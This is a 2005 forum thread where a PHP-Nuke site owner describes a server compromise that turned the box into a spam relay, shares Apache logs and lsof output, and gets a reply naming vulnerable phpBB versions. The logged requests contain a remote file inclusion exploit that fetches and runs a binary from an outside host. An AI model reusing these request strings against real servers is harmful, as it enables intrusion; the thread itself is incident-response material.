Hacked - info for you

Nuke Cadet Joined: Jun 22, 2005 Posts: 1

Today I was hacked using an offsite admin.php hack. I'm running phpnuke 7.4 with no security patches etc. Yes I know it's my fault I haven't been updating and as of now i've shutdown my site. I'm supplying information on the hacker, the method and the reasons I was hacked to you for your information.

Woke up today to find my server sending masses of spam, mostly to mtv.com.br and yahoo.com.br addresses. Immediately killed sendmail and cleared the entire queue (29,000 emails deferred).

Grabbed from apache logs:

200.149.111.241 - - [22/Jun/2005:12:52:55 +1000] "GET modules/Forums/admin/admin_ug_auth.php?phpbb_root_path=http://www.panic0.oi.com.br/cmd.gif?&cmd=idHTTP/1.1" 200 8998
200.149.111.241 - - [22/Jun/2005:12:54:10 +1000] "GET modules/Forums/admin/admin_ug_auth.php?phpbb_root_path=http://www.panic0.oi.com.br/cmd.gif?&cmd=wgetHTTP/1.1" 200 9042
200.149.111.241 - - [22/Jun/2005:12:54:23 +1000] "GET modules/Forums/admin/admin_ug_auth.php?phpbb_root_path=http://www.panic0.oi.com.br/cmd.gif?&cmd=cd%20/var/tmp;wget%20http://msn1.mvhosted.com/newbash;chmod%20777%20newbash;./newbashHTTP/1.1" 200 9137

Seems my netstat was corrupted at some point, get seg faults on that. Or i have a ram issue. So using lsof managed to find these:

3 1888 root cwd DIR 3,1 4096 2 /
3 1888 root rtd DIR 3,1 4096 2 /
3 1888 root txt REG 3,1 652620 197633 /tmp/sh-A4IJCIAAB05 (deleted)
3 1888 root mem REG 3,1 103044 272658 /lib/ld-2.3.2.so
3 1888 root mem REG 3,1 91604 272673 /lib/libnsl-2.3.2.so
3 1888 root mem REG 3,1 23668 272667 /lib/libcrypt-2.3.2.so
3 1888 root mem REG 3,1 12696 272695 /lib/libutil-2.3.2.so
3 1888 root mem REG 3,1 1531064 320771 /lib/tls/libc-2.3.2.so
3 1888 root 0u CHR 1,3 33858 /dev/null
3 1888 root 1u CHR 1,3 33858 /dev/null
3 1888 root 2u CHR 1,3 33858 /dev/null
3 1888 root 3u IPv4 2448 TCP *:tproxy (LISTEN)

newbash 10159 apache cwd DIR 3,1 4096 2 /
newbash 10159 apache rtd DIR 3,1 4096 2 /
newbash 10159 apache txt REG 3,1 16840 293170 /var/tmp/newbash (deleted)
newbash 10159 apache mem REG 3,1 103044 272658 /lib/ld-2.3.2.so
newbash 10159 apache mem REG 3,1 1531064 320771 /lib/tls/libc-2.3.2.so
newbash 10159 apache 0u CHR 1,3 33858 /dev/null
newbash 10159 apache 1u CHR 1,3 33858 /dev/null
newbash 10159 apache 2u CHR 1,3 33858 /dev/null
newbash 10159 apache 3u IPv4 12288 TCP *:http (LISTEN)
newbash 10159 apache 4r FIFO 0,5 12292 pipe
newbash 10159 apache 5w FIFO 0,5 12292 pipe
newbash 10159 apache 6w REG 3,1 34449 147571 /var/log/httpd/error_log
newbash 10159 apache 7w REG 3,1 256045 147573 /var/log/httpd/access_log
newbash 10159 apache 8u sock 0,0 376083 can't identify protocol
newbash 10159 apache 9u unix 0xcd502580 378968 socket
newbash 10159 apache 10u IPv4 378983 TCP *:6697 (LISTEN)

So he had dumped some kind of proxy on my box as well as a apache replacement. Killed the processes, and of course the files used are gone. Looked through the nuke db and doesn't seem like any users were created at all, just seemed to use this exploit to dump the files and run them on my nix box.

Not sure i'll bring up my site again after this, i'll read through the various threads and security docs here and decide what to do.

Site Admin Joined: Aug 17, 2003 Posts: 12397

Looks like what they were doing was through the Forums itself. phpBB versions less than 2.0.15 are vulnerable.

Hope you get things running again